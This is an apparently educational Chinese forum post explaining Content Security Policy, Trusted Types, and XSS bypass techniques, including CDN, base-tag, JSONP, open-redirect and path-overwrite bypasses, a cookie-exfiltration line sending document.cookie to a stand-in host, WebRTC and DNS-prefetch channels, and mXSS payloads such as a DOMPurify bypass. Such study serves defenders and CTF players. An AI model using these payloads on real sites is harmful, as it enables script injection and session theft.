奇安信攻防社区-当XSS遇上CSP与mXSS：绕过技巧与底层逻辑

当XSS遇上CSP与mXSS：绕过技巧与底层逻辑

在现代 Web 安全体系中，跨站脚本攻击（XSS）虽然已经是一个“老生常谈”的话题，但随着浏览器安全策略和防护手段的不断更新，XSS 的绕过技术也在持续演化。本文系统梳理了常见的 XSS 绕过思路，重点介绍了内容安全策略（CSP）的绕过方法、混合 XSS（mXSS）的成因与利用，并结合实际案例分析其背后的实现原理。通过从机制层面理解这些绕过方式，读者不仅能够更清晰地认识 Web 安全防护的局限性，还能在攻防对抗中掌握更有效的思路。

引言
==

在学习apache的confusion攻击中无意翻到了huli师傅的blog，发现XSS真的是一个很好玩的东西，并且现在很多CTF国际赛以及国外的SRC平台都挺重视XSS的，于是便学习了

CSP
===

CSP，全名为Content Security Policy，可以翻作「内容安全政策」，意思就是你可以帮自己的网页订立一些规范，跟浏览器说我的网页只允许符合这个规则的内容，不符合的都帮我挡掉。

在网页上加载CSP有三种方式：

- HTTP response header `Content-Security-Policy`
- `<meta>`标签
- `<iframe>`的csp 属性，huli师傅没有给出外链，可能需要后期自己补了  
    一个例子: ```html
    
    <html>
    <head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'none'">
    </head>
    <body>
    <script>alert(1)</script>
    CSP test
    </body>
    </html>
    ```
    
    如果要用到HTTP harder，可以写在中间件配置中，这里以nginx为例
    
    ```nginx
    add_header Content-Security-Policy "script-src 'none'";
    ```
    
    其中，`"script-src" 'none'`就是当前页面不会执行js-script

CSP的规则
------

CSP的定义就是diretive+rule  
最重要的一个叫做`default-src`，就是预设的规则，例如说没有设置`script-src`，那就会用`default-src`的内容，但要注意的是有几种指示不会fallback 到`default-src`，如`base-uri`或是`form-action`等等，完整列表可以看这边：[The default-src Directive](https://content-security-policy.com/default-src/)  
常见的diretive有这些

1. `script-src`：管理JavaScript
2. `style-src`：管理CSS
3. `font-src`：管理字体
4. `img-src`：管理图片
5. `connect-src`：管理连线（fetch、XMLHttpRequest 以及WebSocket 等等）
6. `media-src`：管理video 跟audio 等等
7. `frame-src`：管理frame 以及iframe 等等
8. `base-uri`：管理`<base>`的使用
9. `form-action`：管理表单的action
10. `frame-ancestors`：管理页面可以被谁嵌入
11. `report-uri`：待会再讲
12. `navigate-to`：管理页面可以跳转到的地方

基本上常见的规则有以下几种：

1. `*`，允许除了`data:`跟`blob:`还有`filesystem:`以外所有的URL
2. `'none'`，什么都不允许
3. `'self'`，只允许same-origin 的资源
4. `https:`，允许所有HTTPS 的资源
5. `example.com`，允许特定domain（HTTP 跟HTTPS 都可以）
6. `https://example.com`，允许特定origin（只允许HTTPS） 细说script-src 的规则
    ----------------
    
    除了以上的规则以外，还有其他的规则也可以使用，例如设置完CSP之后，预设的是禁止inline-Script和`eval`进行执行的，其中inline-script包括：
7. `<script>`标签里面直接放程式码（应该要用`<script src>`从外部引入）
8. `onclick`这种写在HTML 里面的event handler
9. `javascript:`伪协议  
    而eval就是类似于setTimeout这种可以把字符执行的命令。  
    对应这两个unline-src用来指定unsafe-inline，unsafe-eval则用来指定eval类的代码。  
    除了这些之外，还有`'nonce-xxx'`，意思是在后端产生一个随机字串，例如说`a2b5zsa19c`好了，那有带上`nonce=a2b5zsa19c`的script 标签就可以载入：

```html

<script nonce=a2b5zsa19c>
  alert(1)
</script>

<script>
  alert(1)
</script>
```

同样的我们也可以用hash值来做这种字串

```html
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script 'sha256-bhHHL3z2vDgxUt0W3dWQOrprscmda2Y5pLsLg4GF+pI='">

</head>
<script nonce ='sha256-bhHHL3z2vDgxUt0W3dWQOrprscmda2Y5pLsLg4GF+pI='>
alert(1)
</script>
  
<script>alert(2)</script>
  
<script>alert(1) </script>
  
<script>alert(1)</script>
```

之后还有一个"script-dynamic",动态的执行限制，看到这个脚本应该能明白

```html

<html>
<head>
  <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-rjg103rj1298e' 'strict-dynamic'">
</head>
<body>
  <script nonce=rjg103rj1298e>
    const element = document.createElement('script')
    element.src = 'https://example.com'
    document.body.appendChild(element)
  </script>
</body>
</html>
```

一个问题：  
如果说你发现你的网站加载的script都来自https://unpkg.com,那么这样子写CSP合理吗

```php
Content-Security-Policy: script-src https://unpkg.com;
```

Trusted Types
=============

在这里，我看见了之前没有见过的新名词，因为他现在还在test阶段  
这个东西是干嘛的呢，他会将未处理过的字符串进行抛出Exception，你可以这样子使用它,强制浏览器在插入HTML 时一定要先经过Trusted Types 的处理：

```php
Content-Security-Policy: require-trusted-types-for 'script';
```

当你正常的写一个程序的时候

```html

<html>
<head>
  <meta http-equiv="Content-Security-Policy" content="require-trusted-types-for 'script'">
</head>
<body>
  <div id=content></div>
  <script>
    document.querySelector("#content").innerHTML = '<h1>hello</h1>'
  </script>
</body>
</html>
```

本身来看，并没有什么触发安全的问题，但是会抛出Exception

```php
This document requires 'TrustedHTML' assignment. Uncaught TypeError: Failed to set the 'innerHTML' property on 'Element': This document requires 'TrustedHTML' assignment.
```

当强制启用Trusted Types 以后，就不能直接丢一个字串给`innerHTML`，而是要创立一个新的Trusted Types policy 来处理危险的HTML，用法是这样的：

```html

<html>
<head>
  <meta http-equiv="Content-Security-Policy" content="require-trusted-types-for 'script'">
</head>
<body>
  <div id=content></div>
  <script>
    // 新增一個 policy
    const sanitizePolicy = trustedTypes.createPolicy('sanitizePolicy', {
      // 決定你要怎麼做 sanitize/escape
      createHTML: (string) => string
        .replace(/</g, "&lt;")
        .replace(/>/g, '&gt;')
    });
    // 回傳的 safeHtml 型態為 TrustedHTML，不是字串
    const safeHtml = sanitizePolicy.createHTML('<h1>hello</h1>')
    document.querySelector("#content").innerHTML = safeHtml
  </script>
</body>
</html>
```

Bypass手法
========

Bypass CSP
----------

### Unsafe domain

如果你的网站上面有用到一些公开的CDN 平台来载入JS，像是[unpkg.com](https://unpkg.com/)之类的，有可能会直接把CSP 的规则设定成：`script-src https://unpkg.com`。  
这个时候，因为CDN平台是公开的，如果有人上传了恶意的library，那么到你这个地方就可以直接使用，而针对这种情形，已经有人写了一个叫做[csp-bypass](https://github.com/CanardMandarin/csp-bypass)的library 并且上传上去，来看个范例：

```js

<html>
<head>
  <meta http-equiv="Content-Security-Policy" content="script-src https://unpkg.com/">
</head>
<body>
  <div id=userContent>
    <script src="https://unpkg.com/react@16.7.0/umd/react.production.min.js"></script>
    <script src="https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js"></script>
    <br csp="alert(1)">
  </div>
</body>
</html>
```

所以第一个绕过方法就是看有没有这种写好的bypass library在公开的CDN里面

### Base绕过

在设定CSP 时，一个常见的做法是利用nonce 来指定哪些script 可以载入，就算被攻击者注入HTML，在不知道nonce 的前提下他也无法执行脚本

```html

<html>
<head>
  <meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'nonce-abc123';">
</head>
<body>
    <div id=userContent>
      <script src="https://example.com/my.js"></script>
    </div>
    <script nonce=abc123 src="app.js"></script>
</body>
</html>
```

这个时候我们一眼看上去没什么问题，因为这里用了nonce来限制script了，default-src也设置为none了，但是有一个标签他并不会被限制住就是`<base>`，例如`<base href="https://example.com/">`，他的意思就是，改变所有相对路径的参考，例如上面的app.js，如果写成这个样子

```html

<html>
<head>
  <meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'nonce-abc123';">
</head>
<body>
    <div id=userContent>
      <base href="https://example.com/">
    </div>
    <script nonce=abc123 src="app.js"></script>
</body>
</html>
```

就相当于加载了`https://example.com/app.js`的文件，也就是如果我们把base改为远程地址，然后upload一个app.js，就可以直接执行代码了。  
阻止这个绕过方式的解法是在CSP 中加上`base-uri`的规则，例如说用`base-uri 'none'`阻挡所有的base 标签。由于大多数网站应该都没有需要用到`<base>`的需求，可以大胆地加上这个指示。

### JSONP

JSONP 是一种能够跨来源取得资料的方式。  
一般来说浏览器会阻止你跟非同源的网页互动，例如说在`https://blog.huli.tw`中执行：`fetch('https://example.com')`也就是没办法直接用fetch拿到别的网页的东西，但是有些标签类似于`<img>`这种本身就可以加载外部资源的标签并不会收到CORS的限制。  
于是，出现了一种用API或者说是可以feedback的一种函数，例如`https://example.com/api/users`我们可以从这个url中得到这些信息

```php
setUsers([
  {id: 1, name: 'user01'},
  {id: 2, name: 'user02'}
])
```

那么我们就可以这样子去拿到资料

```php
<script>
  function setUsers(users) {
    console.log('Users from api:', users)
  }
</script>
<script src="https://example.com/api/users"></script>
```

并且后面进化成`https://example.com/api/users?callback=anyFunctionName`这样子去调用

```php
anyFunctionName([
  {id: 1, name: 'user01'},
  {id: 2, name: 'user02'}
])
```

那么如果我们调用的方式是这样子`https://example.com/api/users?callback=alert(1);console.log`则拼接后就是

```php
alert(1);console.log([
  {id: 1, name: 'user01'},
  {id: 2, name: 'user02'}
])
```

#### 小demo

```html

<html>
<head>
  <meta http-equiv="Content-Security-Policy" content="script-src https://www.google.com https://www.gstatic.com">
</head>
<body>
  <div id=userContent>
    <script src="https://example.com"></script>
  </div>
  <script async src="https://www.google.com/recaptcha/api.js"></script>  
  <button class="g-recaptcha" data-sitekey="6LfkWL0eAAAAAPMfrKJF6v6aI-idx30rKs55Lxpw" data-callback='onSubmit'>Submit</button>
</body>
</html>
```

Bypass:

```html

有一个叫做[JSONBee](https://github.com/zigoo0/JSONBee)的repository，里面有搜集很多知名网站的JSONP URL，虽然有些已经被拿掉了，但依然可以参考一下。  
其中huli师傅提到了另外一个方法，但是极为复杂，这里不考虑写了

open redirect bypass
--------------------

这个就很好理解，就是如果本身就含有一个重定向的位置，就可以绕过限制，这里举个例子

```html

<html>
<head>
  <meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
  <div id=userContent>
    <script src="https://www.google.com/test"></script>
    <script src="https://www.google.com/a/test"></script>
    <script src="http://localhost:5555/301"></script>
  </div>
</body>
</html>
```

很清楚的能看出来`/test`和`/a/test`路径会被CSP拦住，但是我们主要看到这里`http://localhost:5555/301`在server 端会重新导向到`https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`,这个方式CSP是允许的，所以就产生了绕过

这里用sekai2024出的一道404绕过来简要概述

```python
@app.errorhandler(404)
def page_not_found(error):
    path = request.path
    return f"{path} not found"
```

也就是他相对于将404页面变成了一个重定向的页面，我们就可以在里面写东西从而绕过限制，详情可以看[Sekai2024-Tagless](https://www.justus.pw/writeups/sekai-ctf/tagless.html)

经过PRO的
------

PRO(Relative Path Overwrite)，其实也是一种很容易能想到的方式  
例如说CSP 允许的路径是`https://example.com/scripts/react/`，可以这样绕过：

```js
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```

浏览器最后就会载入`https://example.com/scripts/angular/angular.js`  
应该很好理解，就不解释了

Other
-----

这一块主要写的就是如何外带数据

- window.location  
    `window.location = 'https://example.com?q=' + document.cookie`
- WebRTC

```js
var pc = new RTCPeerConnection({
  "iceServers":[
      {"urls":[
        "turn:74.125.140.127:19305?transport=udp"
       ],"username":"_all_your_data_belongs_to_us",
      "credential":"."
    }]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp));
```

- DNS prefetch：`<link rel="dns-prefetch" href="https://data.example.com">`

mutation based XSS(MXSS)
------------------------

有一种常拿来针对sanitizer 的攻击方式，叫做mutation based XSS，也被称做mutation XSS 或是简称mXSS。  
所以在此之前，我们要了解一下sanitizer是怎么运作的

### Sanitizer运作方式

这是一个即食方法“

```js
const inputHtml = '<h1>hello</h1>'
const safeHtml = sanitizer.sanitize(inputHtml)
document.body.innerHTML = safeHtml
```

具体的运作过程：

- 把inputHtml解析成DOM tree（tree tree的）
- 删除不合法的node 以及attribute
- 把DOM tree 序列化（serialize）成字串
- 返回 ### Reason and Exploit
    
    我们看到这样子的一个例子
    
    ```html
    
    <html>
    <body>
    <div id=content></div>
    <script>
    content.innerHTML = '<table><h1>hello</h1></table>'
    </script>
    </body>
    </html>
    ```

![Pasted image 20250821234747.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/08/attach-3e0a154cb9c3fca090bb06cb7e587342d3117268.png)  
可以看到他竟然把h1从table里面跳出来了！会有这样的结果是因为浏览器根据HTML 规格，判定`<h1>`不该在`<table>`中，因此就很贴心地把它拿了出来。  
而这种行为，就叫做mutation，所以，用这个方式构成的XSS叫做mXSS

那么下一个例子就是：

```html

<html>
<body>
  <div id=content></div>
  <script>
    content.innerHTML = '<svg><p>hello</svg>'
  </script>
</body>
</html>
```

![Pasted image 20250821235624.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/08/attach-85febaa3efefe00fcdb384f4ddf8d044643c85a4.png)  
可以看到这次他只是加上了一个`</p>`  
如果是这样子呢？

```html

<html>
<body>
  <div id=content></div>
  <script>
    content.innerHTML = '<svg><p></p>hello</svg>'
    console.log(content.innerHTML)
  </script>
</body>
</html>
```

在现在的浏览器中似乎优化了这个sanitizer，在我本地用firefox运行是这样子的

![Pasted image 20250822000115.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/08/attach-e889c7a85804449a8e8ff2bfe51ca61e1fc642aa.png)  
他把这个hello单独拿出来了，但是都在这个svg标签里面，但是huli师傅里面的是

![Pasted image 20250822000203.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/08/attach-90a02b9f6ef3084b083a80726d31f9f213b01b73.png)  
这个地方先保留质疑，也许有别的标签可以跳出来，这里huli师傅只用了svg这个，利用这个特性，我们可以玩一些好玩的东西

### 神奇的style

为什么会说这个东西神奇呢？

```html

<html>
<body>
  <style>
    <a id="test"></a>
  </style>
</body>
</html>
```

![Pasted image 20250822000659.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/08/attach-e891317205ec85ecc6a2fec18b17efbc1ccf6bc5.png)  
通过这个我们可以看到a标签竟然变成了一个文字！  
那么我们如果再最外面套上一层`<svg>`标签呢？

```html

<html>
<body>
  <svg>
    <style>
      <a id="test"></a>
    </style>
  </svg>
</body>
</html>
```

![Pasted image 20250822002029.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/08/attach-7599e7a98cb6a4c0ba11b1a44e2146be7fd807c8.png)  
他就会变回原来的a标签了  
所以我们就可以构造

```php
<style>
  <a id="</style><img src=x onerror=alert(1)>"></a>
</style>
```

![Pasted image 20250822002141.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/08/attach-cf44e15f1dd0441e0874728b05727703f041fe3a.png)  
可以看到他真的执行了！OG们太强了，此时的解析为：

![Pasted image 20250822002233.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/08/attach-88f4d7b61223e7062b320c0b551324cf0ad07ab5.png)  
他把img标签单独拿出来了，从而变成了可执行的xss

在2019 年9 月19 号，DOMPurify 释出了2.0.1 版本，目的是修正一个利用mutation 来绕过检查的mXSS 漏洞，当时有问题的完整payload 是这样：

```php
<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">
```

而在TPCTF2025中，也出现了这样子的题目  
[TPCTF2025](https://baozongwi.xyz/p/tpctf2025/#safe-layout-revenge)

![Pasted image 20250822002749.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/08/attach-33e78e14fd21cdeda1c5a7b55d11746aad72f68c.png)

Universal XSS
-------------

这种XSS被huli师傅称为是最强XSS，他表示的就是在浏览器或者内建的Plugin中出现的漏洞，可以达到的影响是：「无论在哪个网站都可以执行程式码」

这里就只放出来一些链接，因为要分析的话确实我能力还不够呜呜呜  
2006 年的Firefox 的Adobe Acrobat [Subverting Ajax](https://fahrplan.events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf)  
2012 年的Android Chrome [Issue 144813: Security: UXSS via com.android.browser.application\_id Intent extra](https://bugs.chromium.org/p/chromium/issues/detail?id=144813)  
2019 年Chromium 透过portal 的 USXSS[Issue 962500: Security: Security: Same Origin Policy bypass and local file disclosure via portal element](https://bugs.chromium.org/p/chromium/issues/detail?id=962500&q=sop%20bypass&can=1)

总结
==

之前从来没这么认真学过xss，现在一看，XSS真的是一个艺术般的存在，真的非常优美，祝我有一天能挖到hackone里的xss赏金。  
一些参考：  
<https://baozongwi.xyz/p/tpctf2025/#safe-layout-revenge>  
<https://aszx87410.github.io/beyond-xss/ch2/xss-defense-sanitization/>  
<https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/crocodilu#bypassing-html-sanitization>

发表于 2025-09-09 10:03:29
阅读 ( 291 )
分类：WEB安全

当XSS遇上CSP与mXSS：绕过技巧与底层逻辑

0 条评论